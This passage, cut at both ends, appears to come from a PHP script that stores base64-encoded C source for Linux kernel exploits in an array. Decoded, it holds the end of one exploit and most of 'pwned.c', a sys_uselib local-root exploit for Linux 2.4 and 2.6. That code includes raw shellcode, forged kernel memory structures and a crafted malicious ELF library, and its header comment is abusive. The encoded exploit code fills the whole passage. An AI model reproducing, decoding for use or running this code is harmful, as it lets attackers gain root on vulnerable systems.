kJdmFsKys7DQoJCWNwaWQgPSBmb3JrKCk7DQoJCWlmKCFjcGlkKQ0KCQkJZG9fd2lwZSgpOw0KDQoJCXdoaWxlKCFjY250KSBzeXNfc2NoZWRfeWllbGQoKTsNCgkJaWYoIGdldF9zbGFiX29ianMoXFxcInZtX2FyZWFfc3RydWN0XFxcIikgPD0gU0xBQl9USFJTSCApDQoJCQlicmVhazsNCgl9DQoJc2lnbmFsKFNJR1VTUjEsIFNJR19ERkwpOw0KfQ0KDQoNCnZvaWQgdXNhZ2UoY2hhciAqbikNCnsNCglwcmludGYoXFxcIlxcXFxuVXNhZ2U6ICVzXFxcXHQtZiBmb3JjZWQgc3RvcFxcXFxuXFxcIiwgbik7DQoJcHJpbnRmKFxcXCJcXFxcdFxcXFx0LXMgc2lsZW50IG1vZGVcXFxcblxcXCIpOw0KCXByaW50ZihcXFwiXFxcXHRcXFxcdC1jIGNvbW1hbmQgdG8gcnVuXFxcXG5cXFwiKTsNCglwcmludGYoXFxcIlxcXFx0XFxcXHQtbiBTTVAgaXRlcmF0aW9uc1xcXFxuXFxcIik7DQoJcHJpbnRmKFxcXCJcXFxcdFxcXFx0LWQgcmFjZSBkZWx0YSB1c1xcXFxuXFxcIik7DQoJcHJpbnRmKFxcXCJcXFxcdFxcXFx0LXcgd2FpdCB0aW1lIHNlY29uZHNcXFxcblxcXCIpOw0KCXByaW50ZihcXFwiXFxcXHRcXFxcdC1sIGFsdGVybmF0ZSBsaWIgbmFtZVxcXFxuXFxcIik7DQoJcHJpbnRmKFxcXCJcXFxcdFxcXFx0LWEgYWx0ZXJuYXRlIGFkZHIgaGV4XFxcXG5cXFwiKTsNCglwcmludGYoXFxcIlxcXFxuXFxcIik7DQoJX2V4aXQoMSk7DQp9DQoNCg0KLy8JZ2l2ZSAtcyBmb3IgZm9yY2VkIHN0b3AsIC1iIHRvIGNsZWFuIFNMQUINCmludCBtYWluKGludCBhYywgY2hhciAqKmF2KQ0Kew0KaW50IHI7DQoNCgl3aGlsZShhYykgew0KCQlyID0gZ2V0b3B0KGFjLCBhdiwgXFxcIm46bDphOnc6YzpkOmZzaFxcXCIpOw0KCQlpZihyPDApIGJyZWFrOw0KDQoJCXN3aXRjaChyKSB7DQoNCgkJY2FzZSBcXFwnZlxcXCcgOg0KCQkJZnN0b3AgPSAxOw0KCQkJYnJlYWs7DQoNCgkJY2FzZSBcXFwnc1xcXCcgOg0KCQkJc2lsZW50ID0gMTsNCgkJCWJyZWFrOw0KDQoJCWNhc2UgXFxcJ25cXFwnIDoNCgkJCXNtcF9tYXggPSBhdG9pKG9wdGFyZyk7DQoJCQlicmVhazsNCg0KCQljYXNlIFxcXCdkXFxcJzoNCgkJCWlmKDEhPXNzY2FuZihvcHRhcmcsIFxcXCIldVxcXCIsICZkZWx0YV9tYXgpIHx8IGRlbHRhX21heCA+IDEwMDAwMHUgKQ0KCQkJCWZhdGFsKFxcXCJiYWQgZGVsdGEgdmFsdWVcXFwiLCAwKTsNCgkJCWJyZWFrOw0KDQoJCWNhc2UgXFxcJ3dcXFwnIDoNCgkJCXd0aW1lID0gYXRvaShvcHRhcmcpOw0KCQkJaWYod3RpbWU8MCkgZmF0YWwoXFxcImJhZCB3YWl0IHZhbHVlXFxcIiwgMCk7DQoJCQlicmVhazsNCg0KCQljYXNlIFxcXCdsXFxcJyA6DQoJCQlsaWJuYW1lID0gc3RyZHVwKG9wdGFyZyk7DQoJCQlicmVhazsNCg0KCQljYXNlIFxcXCdjXFxcJyA6DQoJCQlzaGVsbG5hbWUgPSBzdHJkdXAob3B0YXJnKTsNCgkJCWJyZWFrOw0KDQoJCWNhc2UgXFxcJ2FcXFwnIDoNCgkJCWlmKDEhPXNzY2FuZihvcHRhcmcsIFxcXCIleFxcXCIsICZtYXBfYmFzZSkpDQoJCQkJZmF0YWwoXFxcImJhZCBhZGRyIHZhbHVlXFxcIiwgMCk7DQoJCQltYXBfYmFzZSAmPSB+KFBHRF9TSVpFLTEpOw0KCQkJYnJlYWs7DQoNCgkJY2FzZSBcXFwnaFxcXCcgOg0KCQlkZWZhdWx0Og0KCQkJdXNhZ2UoYXZbMF0pOw0KCQkJYnJlYWs7DQoJCX0NCgl9DQoJY29uc3VtZV9waWQgPSBmb3JrKCk7DQoJDQoJaWYgKGNvbnN1bWVfcGlkID09IDApDQoJew0KCQljb25zdW1lX21lbW9yeSgpOw0KCQlwYXVzZSgpOw0KCQlyZXR1cm4gMDsNCgl9DQovLwliYXNpYyBzZXR1cA0KCXVpZCA9IGdldHVpZCgpOw0KCXNldHBncnAoKTsNCgl3aXBlX3NsYWIoKTsNCglwcmVwYXJlKCk7DQoNCnJldHVybiAwOw0KfQ0K");
$two_four[2] = base64_decode("LyoNCiogcHduZWQuYyAtIGxpbnV4IDIuNCBhbmQgMi42IHN5c191c2VsaWIgbG9jYWwgcm9vdCBleHBsb2l0LiBQUklWQVRFLg0KKiBpdFxcXCdzIG5vdCB0aGUgYmVzdCBvbmUsIHRoZSBsZHQgYXBwcm9hY2ggaXMgZGVmaW5pdGl2ZWx5IGJldHRlci4NCiogZGlzY292ZXJlZCBtYXkgMjAwNC4gbm8gbG9uZ2VyIHByaXZhdGUgYmVjYXVzZSBsb3JpYW4vY2xpcGgvaWhhcXVlcg0KKiBjYW4gbGljayBteSBiYWxscy4NCiogKGMpIDIwMDQgc2QgPHNkQGZ1Y2tzaGVlcC5vcmc+DQoqIHJlcXVpZXJlcyBjY2EgMWdiIG9uIGZzLg0KKi8NCg0KDQovKg0KKiBmaXJzdCBjcmVhdGUgZmFrZSB2bWEgc3RydWN0cy4NCioNCioNCiogbGV0XFxcJ3MgaGF2ZSAzIHRocmVhZHMsIHQxLCB0MiBhbmQgdDMuDQoqIHQxIGFuZCB0MiBoYXZlIGNvbW1vbiB2bS4NCioNCiogdDM6DQoqIC0gd2FpdDRzaWcgKHdpbGwgY29tZSBiYWNrIGZyb20gdDIpDQoqIC0gd3JpdGUoZmQzLCBiaWdtZW0sIGJpZ2ZpbGVfc2l6ZSkNCiogLSBleGl0KCkNCiogdDE6DQoqIC0gZmQzID0gZW1wdHkgZmlsZQ0KKiAtIGZkMSA9IGJpZ2ZpbGUsIHdyaXRpbmcgaXQgdG9vayAxNiBzZWNzDQoqIC0gYmlnbWVtID0gbW1hcChOVUxMLCBiaWdmaWxlX3NpemUsIGZkMSwgMCk7DQoqIC0gdDMgPSBmb3JrKCkNCiogLSB0MiA9IGNsb25lKCkNCiogLSBmZDIgPSBtdW5tYXBfZmlsZSwgc2l6ZSBvZiByYW0uDQoqIC0gbXVtZW0gPSBtbWFwKE5VTEwsIG11bm1hcF9maWxlX3NpemUsIGZkMikNCiogLSBtbWFwKG11bWVtLCA0MDk2LCBBTk9OWU1PVVMpIC8vIGZvciBleHRlbmRpbmcgZG9fYnJrIGNoZWNrDQoqIC0gbW1hcCBsb3RzIG9mIHZtYXMNCiogLSBjbG9zZShmZDIpOw0KKiAtIGNyZWF0ZSBldmlsIGxpYg0KKiAtIGZyZWUgbG90IG9mIHZtYXMNCiogLSBzaWcgQCB0Mg0KKiAtIGV2aWxfbGliLT5kb19tdW5tYXAobXVtZW0gKyA0MDk2LCBtdW5tYXBfZmlsZV9zaXplIC0gNDA5Nik7DQoqIC0gc2VtID0gMQ0KKiAtIHdhaXRwaWQNCiogdDI6DQoqIC0gd2FpdDRzaWcNCiogLSBzbGVlcCgxMDBtc2VjKQ0KKiAtIG1tYXAobXVtZW0sIGZkMywgNDA5NikgLy8gdGhpcyBpcyBiZWluZyBwcm90ZWN0ZWQgYnkgaV9zZW0gIQ0KKiAtIHNlbmRzaWcgQCB0Mw0KKiAtIHNsZWVwKDEwMG1zZWMpDQoqIC0gaWYgKHNlbSkgZXJyb3INCiogLSBtc3luYyhtdW1lbSwgODE5MikgLSB3aWxsIHdhaXQgZm9yIHdyaXRlKCkgdG8gZmluaXNoLiBtdW5tYXAgZmluaXNoZXMgYnkgdGhhdA0KKiB0aW1lDQoqIC0gaWYgKCFzZW0pIGVycm9yDQoqIC0gaWYgaXQgZG9lcyByZXR1cm4gd2UgZmFpbGVkLCBvdGhlcndpc2Ugc2hlbGwuDQoqDQoqLw0KDQojaW5jbHVkZSA8c3RkbGliLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8ZXJybm8uaD4NCg0KI2luY2x1ZGUgPHRpbWUuaD4NCiNpbmNsdWRlIDxzY2hlZC5oPg0KI2luY2x1ZGUgPHNpZ25hbC5oPg0KI2luY2x1ZGUgPHN0ZGlvLmg+DQoNCiNpbmNsdWRlIDxzeXMvdHlwZXMuaD4NCiNpbmNsdWRlIDxzeXMvc3RhdC5oPg0KI2luY2x1ZGUgPGxpbnV4L2ZjbnRsLmg+DQojaW5jbHVkZSA8c3lzL21tYW4uaD4NCiNpbmNsdWRlIDxzeXMvdGltZS5oPg0KI2luY2x1ZGUgPGxpbnV4L2VsZi5oPg0KDQoNCg0KI2RlZmluZSBfX1dDTE9ORSAweDgwMDAwMDAwIC8qIFdhaXQgb25seSBvbiBub24tU0lHQ0hMRCBjaGlsZHJlbiAqLw0KDQojZGVmaW5lIGx0aW1lIHVuc2lnbmVkIGxvbmcgbG9uZw0KI2RlZmluZSBNRU1TWiAoNzAqMTAyNCoxMDI0KQ0KDQojZGVmaW5lIE1BR0lDIC0xMjMNCg0KdW5zaWduZWQgY2hhciBzaGVsbGNvZGVbXSA9DQpcXFwiXFxcXHg2MFxcXFx4ZThcXFxceDVmXFxcXHgwMFxcXFx4MDBcXFxceDAwXFxcXHgzMFxcXFx4MDNcXFxceDk4XFxcXHgxOVxcXFx4MDBcXFxceDAwXFxcXHgwMFxcXFx4MDBcXFxceDAwXFxcXHgwMFxcXFx4MDBcXFxceDAwXFxcXHgwMA0KXFxcXHgwMFxcXFx4MDBcXFxceDAwXFxcXHgwMFxcXFx4MDBcXFxceDAwXFxcXHgwMFxcXFx4MDBcXFxceDAwXFxcXHgwMFxcXFx4MDBcXFxceDAwXFxcXHgwMFxcXFx4MDBcXFxceDAwXFxcXHgwMFxcXFx4MDBcXFxceDAwXFxcXHgwMA0KXFxcXHg1MFxcXFx4NTJcXFxceDQ5XFxcXHg1NlxcXFx4NDFcXFxceDU0XFxcXHg0NVxcXFx4MmFcXFxceDZiXFxcXHg2NVxcXFx4NzJcXFxceDZlXFxcXHg2NVxcXFx4NmNcXFxceDIwXFxcXHg2M1xcXFx4NjFcXFxceDcwXFxcXHgyMA0KXFxcXHg3M1xcXFx4NjhcXFxceDY1XFxcXHg2Y1xcXFx4NmNcXFxceDYzXFxcXHg2ZlxcXFx4NjRcXFxceDY1XFxcXHgyY1xcXFx4MjBcXFxceDI4XFxcXHg2M1xcXFx4MjlcXFxceDIwXFxcXHgzMlxcXFx4MzBcXFxceDMwXFxcXHgzNA0KXFxcXHgyMFxcXFx4M2NcXFxceDczXFxcXHg2NFxcXFx4NDBcXFxceDY4XFxcXHg3OVxcXFx4NzNcXFxceDc0XFxcXHg2NVxcXFx4NzJcXFxceDY5XFxcXHg2MVxcXFx4MmVcXFxceDczXFxcXHg2YlxcXFx4M2VcXFxceDJhXFxcXHg1MA0KXFxcXHg1MlxcXFx4NDlcXFxceDU2XFxcXHg0MVxcXFx4NTRcXFxceDQ1XFxcXHg1YlxcXFx4YmRcXFxceDAwXFxcXHhlMFxcXFx4ZmZcXFxceGZmXFxcXHgyMVxcXFx4ZTVcXFxceDgxXFxcXHg3ZFxcXFx4MDBcXFxceDAwXFxcXHgwMA0KXFxcXHgwMFxcXFx4YzBcXFxceDcyXFxcXHgwM1xcXFx4OGJcXFxceDZkXFxcXHgwMFxcXFx4OGRcXFxceDRiXFxcXHgwOFxcXFx4YjhcXFxceGI4XFxcXHgwMFxcXFx4MDBcXFxceDAwXFxcXHhjZFxcXFx4ODBcXFxceDhiXFxcXHgxMQ0KXFxcXHg4YlxcXFx4NzFcXFxceDA0XFxcXHg4YlxcXFx4NzlcXFxceDA4XFxcXHg4M1xcXFx4YzVcXFxceDA0XFxcXHgzOVxcXFx4NTVcXFxceDAwXFxcXHg3NVxcXFx4ZjhcXFxceDM5XFxcXHg3ZFxcXFx4MDRcXFxceDc1XFxcXHhmMw0KXFxcXHgzOVxcXFx4NzVcXFxceDA4XFxcXHg3NVxcXFx4ZWVcXFxceDMxXFxcXHhjMFxcXFx4NDhcXFxceDg5XFxcXHg0NVxcXFx4MDBcXFxceDg5XFxcXHg0NVxcXFx4MDRcXFxceDg5XFxcXHg0NVxcXFx4MDhcXFxceGI4XFxcXHhiOA0KXFxcXHgwMFxcXFx4MDBcXFxceDAwXFxcXHg4ZFxcXFx4NGJcXFxceDE0XFxcXHhjZFxcXFx4ODBcXFxceGZmXFxcXHg0MVxcXFx4MDRcXFxceDc0XFxcXHgwYlxcXFx4ODlcXFxceDU1XFxcXHgwMFxcXFx4ODlcXFxceDdkXFxcXHgwNA0KXFxcXHg4OVxcXFx4NzVcXFxceDA4XFxcXHhlYlxcXFx4YzhcXFxceDYxXFxcXHhiOFxcXFx4ODVcXFxceGZmXFxcXHhmZlxcXFx4ZmZcXFxceGMzXFxcIjsNCg0Kc3RhdGljIGx0aW1lIGd0aW1lKCkNCnsNCnN0cnVjdCB0aW1ldmFsIHR2Ow0KZ2V0dGltZW9mZGF5KCZ0diwgTlVMTCk7DQpyZXR1cm4gdHYudHZfc2VjICogMTAwMDAwMCArIHR2LnR2X3VzZWM7DQp9DQoNCmx0aW1lIGx0Ow0KDQpzdGF0aWMgdm9pZCB0aW1lX3N0YXJ0KCkNCnsNCmx0ID0gZ3RpbWUoKTsNCn0NCg0Kc3RhdGljIHZvaWQgdGltZV9lbmQoKQ0Kew0KcHJpbnRmKFxcXCJ0b29rICVsdSBtaWNyb3NlY29uZHNcXFxcblxcXCIsIGd0aW1lKCkgLSBsdCk7DQp9DQoNCnZvaWQgY29yZV9zdGF0KCkNCnsNCmludCBzOw0KY2hhciBidWZbNTEyXTsNCmNoYXIgaW5jb3JlOw0KdW5zaWduZWQgbG9uZyBsYXN0ID0gMDsNCkZJTEUgKmY7DQoNCnNwcmludGYoYnVmLCBcXFwiL3Byb2MvJWQvbWFwc1xcXCIsIGdldHBpZCgpKTsNCmYgPSBmb3BlbihidWYsIFxcXCJydFxcXCIpOw0Kd2hpbGUgKGZnZXRzKGJ1ZiwgNTEyLCBmKSkgew0KdW5zaWduZWQgaW50IGZyb20sIHRvOw0KdW5zaWduZWQgaW50IGk7DQoNCmlmIChzc2NhbmYoYnVmLCBcXFwiJXgtJXhcXFwiLCAmZnJvbSwgJnRvKSA8IDIpDQpicmVhazsNCi8vIHByaW50ZihcXFwiJXAhJXBcXFxcblxcXCIsIGZyb20sIHRvKTsNCmZvciAoaSA9IGZyb207IGkgPCB0bzsgaSArPSBQQUdFX1NJWkUpIHsNCm1pbmNvcmUoKHZvaWQgKikgaSwgUEFHRV9TSVpFLCAmaW5jb3JlKTsNCmlmIChpbmNvcmUpIHsNCnI6Ow0KaWYgKCFsYXN0KSB7DQpwcmludGYoXFxcImluIGNvcmUgMHglMDh4LVxcXCIsIGkpOw0KcyA9IGxhc3QgPSBpOw0KY29udGludWU7DQp9DQppZiAobGFzdCArIFBBR0VfU0laRSA9PSBpKSB7DQovLyBwcmludGYoXFxcIiglcClcXFwiLCBpKTsNCmxhc3QgPSBpOw0KY29udGludWU7DQp9DQpwcmludGYoXFxcIjB4JTA4eCAoJWQpXFxcXG5cXFwiLCBsYXN0ICsgUEFHRV9TSVpFLCBsYXN0ICsgUEFHRV9TSVpFIC0gcyk7DQpsYXN0ID0gMDsNCmdvdG8gcjsNCn0NCmlmICghbGFzdCkNCmNvbnRpbnVlOw0KcHJpbnRmKFxcXCIweCUwOHggKCVkKVxcXFxuXFxcIiwgbGFzdCArIFBBR0VfU0laRSwgbGFzdCArIFBBR0VfU0laRSAtIHMpOw0KbGFzdCA9IDA7DQp9DQp9DQpmY2xvc2UoZik7DQp9DQoNCg0KI2RlZmluZSBTV0FQRklMRSBcXFwiVFRzd2FwXFxcIg0KI2RlZmluZSBFQVRGSUxFUyBcXFwiVFRlYXRmaWxlc1xcXCINCiNkZWZpbmUgRUFURklMRSBcXFwiVFRlYXRmaWxlXFxcIg0KI2RlZmluZSBTSEFSRUZJTEUgXFxcIlRUc2hhcmVmaWxlXFxcIg0KI2RlZmluZSBEVU1NWUZJTEUgXFxcIlRUZHVtbXlmaWxlXFxcIg0KI2RlZmluZSBFQVRUSU1FIDEwDQojZGVmaW5lIExJQkZJTEUgXFxcIlRUbGliXFxcIg0KDQovKiBudW1iZXIgb2Ygdm1hIHN0cnVjdCBmaWxsICovDQojZGVmaW5lIFZNQUZJTEwgMTUwMDAgDQoNCi8qIGhvdyBtdWNoIHBhZ2VzIHRvIHN5bmMgLSAyIGlzIGVub3VnaCAqLw0KI2RlZmluZSBOU1lOQyAyDQojZGVmaW5lIEJBU0UgKGNoYXIgKikgMHg2MDAwMDAwMA0KI2RlZmluZSBEQkFTRSAoY2hhciAqKSAweDgwMDAxMDAwDQojZGVmaW5lIEVQQUdFIChjaGFyICopIDB4ODAwMDAwMDANCg0KI2RlZmluZSBNQVBTVEVQIDY0ICogNDA5Ng0KDQojaWYgMQ0KI2RlZmluZSBERUJVRyh4Li4uKSB7IHByaW50ZihcXFwiJXMoKTpcXFwiLCBfX2Z1bmNfXyk7IHByaW50Zih4KTsgcHJpbnRmKFxcXCJcXFxcblxcXCIpOyB9DQojZWxzZQ0KI2RlZmluZSBERUJVRyh4Li4uKQ0KI2VuZGlmDQoNCiNkZWZpbmUgc2VuZHNpZyhwaWQpIGtpbGwocGlkLCBTSUdVU1IxKQ0KI2RlZmluZSB3YWl0NHNpZygpIHsgd2hpbGUgKCFnb3RzaWcpIHBhdXNlKCk7IGdvdHNpZyA9IDA7IH0NCg0KI2RlZmluZSBQQUdFX0RPV04oeCkgKHggJiB+KFBBR0VfU0laRS0xKSkNCiNkZWZpbmUgUEFHRV9BTElHTih4KSAoKHgrUEFHRV9TSVpFLTEpICYgfihQQUdFX1NJWkUtMSkpDQoNCiN1bmRlZiBPX0RJUkVDVA0KI2RlZmluZSBPX0RJUkVDVCAwDQoNCnN0cnVjdCBsaWJpbWcgew0KRWxmMzJfRWhkciBlbGY7DQpFbGYzMl9QaGRyIHBoOw0KfTsNCg0KDQpzdHJ1Y3QgZGVudHJ5X3N0cnVjdCB7DQp1bnNpZ25lZCBkdW1teTAsIGR1bW15MTsNCnZvaWQgKmlub2RlMSwgKmlub2RlMjsNCn07DQoNCnN0cnVjdCBmaWxlX3N0cnVjdCB7DQpzdHJ1Y3QgZmlsZV9zdHJ1Y3QgKm5leHQsICpwcmV2Ow0Kdm9pZCAqZGVudHJ5Ow0Kdm9pZCAqbW50Ow0Kdm9pZCAqb3A7DQp2b2lkICpmX21hcHBpbmdbNjRdOyAvKiBzb21ld2hlcmUgaW4gdGhlcmUgaXMgZl9tYXBwaW5nIG9uIDIuNiAqLw0KfTsNCg0KLyogdGhpcyBzaG91bGQgcm91Z2hseSBjb3ZlciAyLjQqIGFuZCAyLjYqICovDQpzdHJ1Y3Qgdm1hX3N0cnVjdCB7DQp2b2lkICptbTsNCnVuc2lnbmVkIGxvbmcgdm1fc3RhcnQ7DQp1bnNpZ25lZCBsb25nIHZtX2VuZDsNCnN0cnVjdCB2bWFfc3RydWN0ICp2bV9uZXh0Ow0KdW5zaWduZWQgbG9uZyBwZ3Byb3Q7DQp1bnNpZ25lZCBsb25nIHZtZmxhZ3M7DQpjaGFyIHJiWzE2XTsNCnZvaWQgKnNoYXJlZF9uZXh0LCAqc2hhcmVkX3ByZXY7DQp2b2lkICp2bV9vcHM7DQp1bnNpZ25lZCBsb25nIHBnb2ZmOw0Kdm9pZCAqZmlsZTsNCnZvaWQgKnByaXY7DQp9Ow0KDQpzdHJ1Y3QgbW1fc3RydWN0IHsNCnN0cnVjdCB2bWFfc3RydWN0ICptbWFwOw0Kdm9pZCAqcmI7DQpzdHJ1Y3Qgdm1hX3N0cnVjdCAqY2FjaGU7DQp2b2lkICpwZ2QxOw0Kdm9pZCAqcGdkMjsNCnZvaWQgKnBnZDM7DQovKiBzb21ld2hlcmUgdGhlcmUgbGllcyB0aGUgc3BpbmxvY2sgKi8NCnVuc2lnbmVkIGxvbmcgbG9ja3NbMzJdOw0KfTsNCg0KDQovKiB0aGUgaW1hZ2Ugb2YgdGhlIGV2aWwgbGlicmFyeS4gKi8NCnN0cnVjdCBsaWJpbWcgbGltZyA9IHsNCnsNCmVfaWRlbnQ6IFxcXCJcXFxcMTc3RUxGXFxcIiwNCmVfdHlwZTogRVRfRVhFQywNCmVfbWFjaGluZTogRU1fMzg2LA0KZV9waG9mZjogc2l6ZW9mKEVsZjMyX0VoZHIpLA0KZV9laHNpemU6IHNpemVvZihFbGYzMl9FaGRyKSwNCmVfcGhlbnRzaXplOiBzaXplb2YoRWxmMzJfUGhkciksDQplX3BobnVtOiAxDQp9LA0Kew0KcF90eXBlOiBQVF9MT0FELA0KcF92YWRkcjogMCwNCnBfbWVtc3o6IDANCn0NCn07DQoNCnN0YXRpYyB2b2lkIG1ha2VfbGliKGNoYXIgKm5hbWUpDQp7DQppbnQgbGliZmQgPSBvcGVuKG5hbWUsIE9fQ1JFQVR8T19SRFdSfE9fVFJVTkMsIDA3MDApOw0Kd3JpdGUobGliZmQsICZsaW1nLCBzaXplb2YobGltZykpOw0KZmNobW9kKGxpYmZkLCAwNzAwKTsNCn0NCg0KDQpzdGF0aWMgY2hhciB0aHJlYWRfc3RhY2tbMTYzODRdOw0KaW50IGZkMSwgZmQyLCBmZDM7DQpjaGFyIGJ1ZltNQVBTVEVQXTsNCmludCBub3RpbmNvcmU7DQppbnQgdDQ7DQppbnQgdDM7DQppbnQgdDI7DQppbnQgYmlnc2l6ZSA9IDA7DQpjaGFyICpiaWdtZW0gPSBOVUxMOw0KaW50IHN3YXBzaXplID0gMDsNCmNoYXIgKnN3YXBtZW0gPSBOVUxMOw0KY2hhciAqYmFzZSA9IEJBU0U7DQpjaGFyICp2bWFtZW07DQppbnQgZ290c2lnID0gMDsNCmludCBzZW0gPSAwOw0KDQojZGVmaW5lIGNsZWFudXAoKSBfY2xlYW51cChfX2Z1bmNfXywgX19MSU5FX18pDQp2b2lkIGtpbGxhbGwoKQ0Kew0KaWYgKHQyICE9IGdldHBpZCgpKQ0Ka2lsbCh0MiwgU0lHS0lMTCk7DQppZiAodDMgIT0gZ2V0cGlkKCkpDQpraWxsKHQzLCBTSUdLSUxMKTsNCmlmICh0NCAhPSBnZXRwaWQoKSkNCmtpbGwodDQsIFNJR0tJTEwpOw0KfQ0Kdm9pZCBfY2xlYW51cChjb25zdCBjaGFyICpuYW1lLCBpbnQgbGluZSkNCnsNCnByaW50ZihcXFwiY2xlYW51cCBjYWxsZWQhIGZyb20gJXM6JWRcXFxcblxcXCIsIG5hbWUsIGxpbmUpOw0Ka2lsbGFsbCgpOw0KdW5saW5rKFNIQVJFRklMRSk7DQp1bmxpbmsoU1dBUEZJTEUpOw0KdW5saW5rKEVBVEZJTEVTKTsNCnVubGluayhFQVRGSUxFKTsNCnVubGluayhMSUJGSUxFKTsNCl9leGl0KDEpOw0KfQ0KDQoNCiNkZWZpbmUgRkFLRVNfQkFTRSAweDUwMDAwMDAwDQoNCnN0cnVjdCBmYWtlcyB7DQppbnQgdDE7DQpzdHJ1Y3QgbW1fc3RydWN0IG1tOw0Kc3RydWN0IHZtYV9zdHJ1Y3Qgdm1hOw0Kc3RydWN0IGZpbGVfc3RydWN0IGZpbGU7DQpzdHJ1Y3QgZGVudHJ5X3N0cnVjdCBkZW50cnk7DQp1bnNpZ25lZCBsb25nIG1hcHBpbmcyNFsxMjhdOw0KdW5zaWduZWQgbG9uZyBtYXBwaW5nMjZbMTI4XTsNCnVuc2lnbmVkIGxvbmcgaW5vZGVbMTI4XTsNCnVuc2lnbmVkIGxvbmcgcGdkWzEwMjRdOw0Kdm9pZCAqcHRyc1sxMjhdOw0KY2hhciBzaGVsbGNvZGVbc2l6ZW9mKHNoZWxsY29kZSldOw0KaW50IHQyOw0KfTsNCg0Kc3RydWN0IGZha2VzICpmYWtlcyA9ICh2b2lkICopIEZBS0VTX0JBU0U7DQoNCg0KLyogYnVpbGQgdGhlIGZha2Ugdm1hIHdoaWNoIG1zeW5jX2ludGVydmFsIHdpbGwgZ2V0DQoqIHdlXFxcJ3ZlIHRvIGVtdWxhdGUgYSBsb3Qgb2YgdGhpbmdzIQ0KKi8NCnZvaWQgYnVpbGRfZmFrZXZtYSgpDQp7DQppbnQgaTsNCm1lbXNldChmYWtlcywgMCwgc2l6ZW9mKCpmYWtlcykpOw0KZmFrZXMtPnZtYS52bV9lbmQgPSAodW5zaWduZWQpKCBiYXNlICsgUEFHRV9TSVpFICogMik7DQpmYWtlcy0+dm1hLnZtX3N0YXJ0ID0gKHVuc2lnbmVkKShiYXNlICsgUEFHRV9TSVpFKTsNCi8qIHdlIG5lZWQgdGhpcyB0byBsZXQgdGhlIGtlcm5lbCBlbnRlciB0aGUgZnMgY2FsbGJhY2sgd2UgY29udHJvbCAqLw0KZmFrZXMtPnZtYS52bWZsYWdzID0gMHhmOw0KZmFrZXMtPnZtYS5maWxlID0gJmZha2VzLT5maWxlOw0KZmFrZXMtPnZtYS5tbSA9ICZmYWtlcy0+bW07DQoNCmZha2VzLT5tbS5wZ2QxID0gZmFrZXMtPnBnZDsNCmZha2VzLT5tbS5wZ2QyID0gZmFrZXMtPnBnZDsNCmZha2VzLT5tbS5wZ2QzID0gZmFrZXMtPnBnZDsNCi8qIHRoZXJlIGFyZSBubyBwbWRcXFwncyAqLw0KbWVtc2V0KGZha2VzLT5wZ2QsIDAsIHNpemVvZihmYWtlcy0+cGdkKSk7DQovKiBpbml0aWFsaXplIHBvdGVudGlhbCBzcGlubG9jayBvbiBzbXAgKi8NCmZvciAoaSA9IDA7IGkgPCAzMjsgaSsrKQ0KZmFrZXMtPm1tLmxvY2tzW2ldID0gMTsNCi8qIDIuNCBnb2VzIHRocnUgZGVudHJ5ICovDQpmYWtlcy0+ZmlsZS5kZW50cnkgPSAmZmFrZXMtPmRlbnRyeTsNCmZha2VzLT5kZW50cnkuaW5vZGUxID0gZmFrZXMtPmlub2RlOw0KZmFrZXMtPmRlbnRyeS5pbm9kZTIgPSBmYWtlcy0+aW5vZGU7DQovKiB0aGlzIHdpbGwgYmUgaV9zZW0gKi8NCmZvciAoaSA9IDA7IGkgPCAzMjsgaSsrKQ0KZmFrZXMtPmlub2RlW2ldID0gMTsNCi8qIGFuZCB0aGlzIHJlZmVyZW5jZSB0byBpX21hcHBpbmcgKi8NCmZvciAoaSA9IDMyOyBpIDwgMTI4OyBpKyspDQpmYWtlcy0+aW5vZGVbaV0gPSAodW5zaWduZWQgbG9uZykgZmFrZXMtPm1hcHBpbmcyNDsNCg0KLyogMi42IGdvZXMgdGhydSBmX21hcHBpbmcgKi8NCmZvciAoaSA9IDA7IGkgPCA2NDsgaSsrKQ0KZmFrZXMtPmZpbGUuZl9tYXBwaW5nW2ldID0gZmFrZXMtPm1hcHBpbmcyNjsNCg0KLyogcHJlcGFyZSBtbWFwcGluZ3MgZm9yIGJvdGggMi40IGFuZCAyLjYgKi8NCg0KLyogbWFwcGluZyBvbiAyLjYgcmVxdWllcmVzIHRvIGhhdmUgLT5ob3N0IGRlZmluZWQuDQphbmQgYmFja2luZ19kZXZfaW5mbyBwb2ludGluZyB0byBidW5jaCBvZiBub256ZXJvIG1lbW9yeS4NCmFsc28gbG9ja2VkX3BhZ2VzIGxpc3QgbXVzdCBwb2ludCB0byBpdHNlbGYgKGVtcHR5KSAqLw0KZmFrZXMtPm1hcHBpbmcyNlswXSA9ICh1bnNpZ25lZCBsb25nKSBmYWtlcy0+aW5vZGU7DQpmb3IgKGkgPSAxOyBpIDw9IDM7IGkrKykNCmZha2VzLT5tYXBwaW5nMjZbaV0gPSAwOw0KZm9yIChpID0gNDsgaSA8IDE2OyBpKyspDQpmYWtlcy0+bWFwcGluZzI2W2ldID0gKHVuc2lnbmVkIGxvbmcpICZmYWtlcy0+bWFwcGluZzI2W2ldOw0KZm9yIChpID0gMTY7IGkgPD0gMzA7IGkrKykNCmZha2VzLT5tYXBwaW5nMjZbaV0gPSAodW5zaWduZWQgbG9uZykgZmFrZXMtPnB0cnM7DQoNCi8qIG1hcHBpbmcgb24gMi40IHJlcXVpZXJlcyBvbmx5IGhhdmluZyBtYXBwaW5nIGNvbnNpc3Rpbmcgb2YgZW1wdHkgbGlzdHMgKi8NCmZvciAoaSA9IDA7IGkgPD0gMzA7IGkrKykNCmZha2VzLT5tYXBwaW5nMjRbaV0gPSAodW5zaWduZWQgbG9uZykgJmZha2VzLT5tYXBwaW5nMjRbaV07DQpmb3IgKGkgPSAyMzsgaSA8PSAzMDsgaSsrKQ0KZmFrZXMtPm1hcHBpbmcyNFtpXSA9ICh1bnNpZ25lZCBsb25nKSBmYWtlcy0+cHRyczsNCg0KLyogb2ssIG5vdyBzZXR1cCBmb3BzLT5mX3N5bmMgdG8gb3VyIGV2aWwgZnN5bmMgKi8NCmZha2VzLT5maWxlLm9wID0gZmFrZXMtPnB0cnM7DQpmb3IgKGkgPSAwOyBpIDwgMTI4OyBpKyspDQpmYWtlcy0+cHRyc1tpXSA9IGZha2VzLT5zaGVsbGNvZGU7DQptZW1jcHkoZmFrZXMtPnNoZWxsY29kZSwgc2hlbGxjb2RlLCBzaXplb2Yoc2hlbGxjb2RlKSk7DQp9DQoNCnZvaWQgY3JlYXRlX2Zha2VwYWdlKHZvaWQgKmJ1ZikNC